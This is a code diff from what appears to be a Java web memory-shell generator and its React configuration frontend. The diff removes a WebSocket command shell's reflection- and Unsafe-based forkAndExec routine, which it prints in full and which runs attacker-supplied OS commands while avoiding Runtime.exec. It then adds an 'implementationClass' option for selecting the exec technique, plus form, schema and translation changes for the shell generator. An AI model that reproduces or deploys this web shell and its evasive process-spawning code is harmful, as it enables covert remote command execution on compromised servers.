|
||||
|
||||
private static byte[] toCString(String s) {
|
||||
if (s == null)
|
||||
return null;
|
||||
byte[] bytes = s.getBytes();
|
||||
byte[] result = new byte[bytes.length + 1];
|
||||
System.arraycopy(bytes, 0,
|
||||
result, 0,
|
||||
bytes.length);
|
||||
result[result.length - 1] = (byte) 0;
|
||||
return result;
|
||||
}
|
||||
}
|
||||
+5
-105
@@ -1,7 +1,5 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import sun.misc.Unsafe;
|
||||
|
||||
import javax.websocket.Endpoint;
|
||||
import javax.websocket.EndpointConfig;
|
||||
import javax.websocket.MessageHandler;
|
||||
@@ -9,8 +7,6 @@ import javax.websocket.Session;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
|
||||
@@ -26,15 +22,14 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String cmd) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onMessage(String cmd) {
|
||||
try {
|
||||
InputStream inputStream = null;
|
||||
try {
|
||||
inputStream = forkAndExec(getParam(cmd));
|
||||
} catch (Throwable e) {
|
||||
inputStream = Runtime.getRuntime().exec(getParam(cmd)).getInputStream();
|
||||
}
|
||||
InputStream inputStream = getInputStream(getParam(cmd));
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
@@ -51,101 +46,6 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static InputStream forkAndExec(String cmd) throws Exception {
|
||||
String[] strs = cmd.split("\\s+");
|
||||
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
|
||||
theUnsafeField.setAccessible(true);
|
||||
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
|
||||
|
||||
Class<?> processClass = null;
|
||||
|
||||
try {
|
||||
processClass = Class.forName("java.lang.UNIXProcess");
|
||||
} catch (ClassNotFoundException e) {
|
||||
processClass = Class.forName("java.lang.ProcessImpl");
|
||||
}
|
||||
Object processObject = unsafe.allocateInstance(processClass);
|
||||
|
||||
byte[][] args = new byte[strs.length - 1][];
|
||||
int size = args.length;
|
||||
|
||||
for (int i = 0; i < args.length; i++) {
|
||||
args[i] = strs[i + 1].getBytes();
|
||||
size += args[i].length;
|
||||
}
|
||||
|
||||
byte[] argBlock = new byte[size];
|
||||
int i = 0;
|
||||
|
||||
for (byte[] arg : args) {
|
||||
System.arraycopy(arg, 0, argBlock, i, arg.length);
|
||||
i += arg.length + 1;
|
||||
}
|
||||
|
||||
int[] envc = new int[1];
|
||||
int[] std_fds = new int[]{-1, -1, -1};
|
||||
byte[] result = toCString(strs[0]);
|
||||
try {
|
||||
Field helperpathField = processClass.getDeclaredField("helperpath");
|
||||
helperpathField.setAccessible(true);
|
||||
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
|
||||
|
||||
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
|
||||
launchMechanismField.setAccessible(true);
|
||||
Object launchMechanismObject = launchMechanismField.get(processObject);
|
||||
int mode = 0;
|
||||
try {
|
||||
Field value = launchMechanismObject.getClass().getDeclaredField("value");
|
||||
value.setAccessible(true);
|
||||
mode = (Integer) value.get(launchMechanismObject);
|
||||
} catch (NoSuchFieldException e) {
|
||||
int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
|
||||
mode = ordinal + 1;
|
||||
}
|
||||
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
} catch (NoSuchFieldException e) {
|
||||
// JDK7
|
||||
Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class,
|
||||
byte[].class, int.class, byte[].class, int[].class, boolean.class);
|
||||
forkMethod.setAccessible(true);
|
||||
forkMethod.invoke(processObject, result, argBlock, args.length,
|
||||
null, envc[0], null, std_fds, false);
|
||||
}
|
||||
|
||||
try {
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds);
|
||||
} catch (NoSuchMethodException e) {
|
||||
// JDK11
|
||||
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class);
|
||||
initStreamsMethod.setAccessible(true);
|
||||
initStreamsMethod.invoke(processObject, std_fds, false);
|
||||
}
|
||||
|
||||
Method getInputStreamMethod = processClass.getMethod("getInputStream");
|
||||
getInputStreamMethod.setAccessible(true);
|
||||
return (InputStream) getInputStreamMethod.invoke(processObject);
|
||||
}
|
||||
|
||||
private static byte[] toCString(String s) {
|
||||
if (s == null)
|
||||
return null;
|
||||
byte[] bytes = s.getBytes();
|
||||
byte[] result = new byte[bytes.length + 1];
|
||||
System.arraycopy(bytes, 0,
|
||||
result, 0,
|
||||
bytes.length);
|
||||
result[result.length - 1] = (byte) 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onOpen(final Session session, EndpointConfig config) {
|
||||
this.session = session;
|
||||
|
||||
@@ -120,6 +120,8 @@ export function MainConfigCard({
|
||||
const handleShellToolChange = (value: string) => {
|
||||
const resetCommand = () => {
|
||||
form.resetField("commandParamName");
|
||||
form.resetField("implementationClass");
|
||||
form.resetField("encryptor");
|
||||
};
|
||||
|
||||
const resetGodzilla = () => {
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
import { env } from "@/config";
|
||||
import { FormSchema } from "@/types/schema";
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
import { useEffect, useState } from "react";
|
||||
import { FormProvider, UseFormReturn } from "react-hook-form";
|
||||
import { useTranslation } from "react-i18next";
|
||||
import { Card, CardContent } from "../ui/card";
|
||||
@@ -18,36 +17,24 @@ export function CommandTabContent({
|
||||
shellTypes,
|
||||
}: Readonly<{ form: UseFormReturn<FormSchema>; shellTypes: Array<string> }>) {
|
||||
const { t } = useTranslation();
|
||||
const { data } = useQuery<Array<string>>({
|
||||
queryKey: ["commandEncryptor"],
|
||||
const { data } = useQuery<{ encryptors: Array<string>; implementationClasses: Array<string> }>({
|
||||
queryKey: ["commandConfigs"],
|
||||
queryFn: async () => {
|
||||
const response = await fetch(`${env.API_URL}/config/command/encryptors`);
|
||||
const response = await fetch(`${env.API_URL}/config/command/configs`);
|
||||
return await response.json();
|
||||
},
|
||||
});
|
||||
const rawEncryptors = data ?? [];
|
||||
const [encryptors, setEncryptors] = useState<Array<string>>(rawEncryptors);
|
||||
|
||||
const shellType = form.watch("shellType");
|
||||
|
||||
useEffect(() => {
|
||||
if (shellType.startsWith("Agent")) {
|
||||
setEncryptors(["RAW"]);
|
||||
} else {
|
||||
setEncryptors(rawEncryptors);
|
||||
}
|
||||
}, [shellType, rawEncryptors]);
|
||||
|
||||
return (
|
||||
<FormProvider {...form}>
|
||||
<TabsContent value="Command">
|
||||
<Card>
|
||||
<CardContent className="space-y-2 mt-4">
|
||||
<div className="grid grid-cols-2 gap-2">
|
||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
||||
<ShellTypeFormField form={form} shellTypes={shellTypes} />
|
||||
<UrlPatternFormField form={form} />
|
||||
</div>
|
||||
<div className="grid grid-cols-2 gap-2">
|
||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="commandParamName"
|
||||
@@ -57,7 +44,7 @@ export function CommandTabContent({
|
||||
{t("shellToolConfig.paramName")} {t("optional")}
|
||||
</FormLabel>
|
||||
<FormControl>
|
||||
<Input {...field} placeholder={t("shellToolConfig.paramName")} className="h-8" />
|
||||
<Input {...field} placeholder={t("placeholders.input")} className="h-8" />
|
||||
</FormControl>
|
||||
</FormItem>
|
||||
)}
|
||||
@@ -74,8 +61,31 @@ export function CommandTabContent({
|
||||
<SelectValue placeholder={t("placeholders.select")} />
|
||||
</SelectTrigger>
|
||||
</FormControl>
|
||||
<SelectContent key={data?.join(",")}>
|
||||
{encryptors?.map((v) => (
|
||||
<SelectContent>
|
||||
{data?.encryptors?.map((v) => (
|
||||
<SelectItem key={v} value={v}>
|
||||
{v}
|
||||
</SelectItem>
|
||||
))}
|
||||
</SelectContent>
|
||||
</Select>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="implementationClass"
|
||||
render={({ field }) => (
|
||||
<FormItem className="gap-1">
|
||||
<FormLabel className="h-6 flex items-center">{t("shellToolConfig.implementationClass")}</FormLabel>
|
||||
<Select onValueChange={field.onChange} value={field.value} defaultValue="RuntimeExec">
|
||||
<FormControl>
|
||||
<SelectTrigger className="h-8">
|
||||
<SelectValue placeholder={t("placeholders.select")} />
|
||||
</SelectTrigger>
|
||||
</FormControl>
|
||||
<SelectContent>
|
||||
{data?.implementationClasses?.map((v) => (
|
||||
<SelectItem key={v} value={v}>
|
||||
{v}
|
||||
</SelectItem>
|
||||
|
||||
@@ -111,7 +111,8 @@
|
||||
"pass": "Pass",
|
||||
"suo5Header": "AdvanceConfiguration -> Request Header",
|
||||
"base64String": "Shell Class",
|
||||
"encryptor": "Encryptor"
|
||||
"encryptor": "Encryptor",
|
||||
"implementationClass": "ImplementationClass"
|
||||
},
|
||||
"success": {
|
||||
"generated": "Generation successful"
|
||||
|
||||
@@ -111,7 +111,8 @@
|
||||
"pass": "密码",
|
||||
"suo5Header": "高级配置 -> 请求头",
|
||||
"base64String": "内存马类",
|
||||
"encryptor": "加密器"
|
||||
"encryptor": "加密器",
|
||||
"implementationClass": "实现类"
|
||||
},
|
||||
"success": {
|
||||
"generated": "生成成功"
|
||||
|
||||
@@ -14,6 +14,7 @@ export const formSchema = z.object({
|
||||
behinderPass: z.optional(z.string()),
|
||||
antSwordPass: z.optional(z.string()),
|
||||
commandParamName: z.optional(z.string()),
|
||||
implementationClass: z.optional(z.string()),
|
||||
headerName: z.optional(z.string()),
|
||||
headerValue: z.optional(z.string()),
|
||||
injectorClassName: z.optional(z.string()),
|
||||
|
||||
@@ -20,6 +20,7 @@ export interface ShellToolConfig {
|
||||
headerValue?: string;
|
||||
shellClassBase64?: string;
|
||||
encryptor?: string;
|
||||
implementationClass?: string;
|
||||
}
|
||||
|
||||
export interface CommandShellToolConfig {
|
||||
|
||||
@@ -44,6 +44,7 @@ export function transformToPostData(formValue: FormSchema) {
|
||||
headerValue: formValue.headerValue,
|
||||
shellClassBase64: formValue.shellClassBase64,
|
||||
encryptor: formValue.encryptor,
|
||||
implementationClass: formValue.implementationClass,
|
||||
};
|
||||
|
||||
const injectorConfig: InjectorConfig = {
|
||||
|
||||
Reference in New Issue
Block a user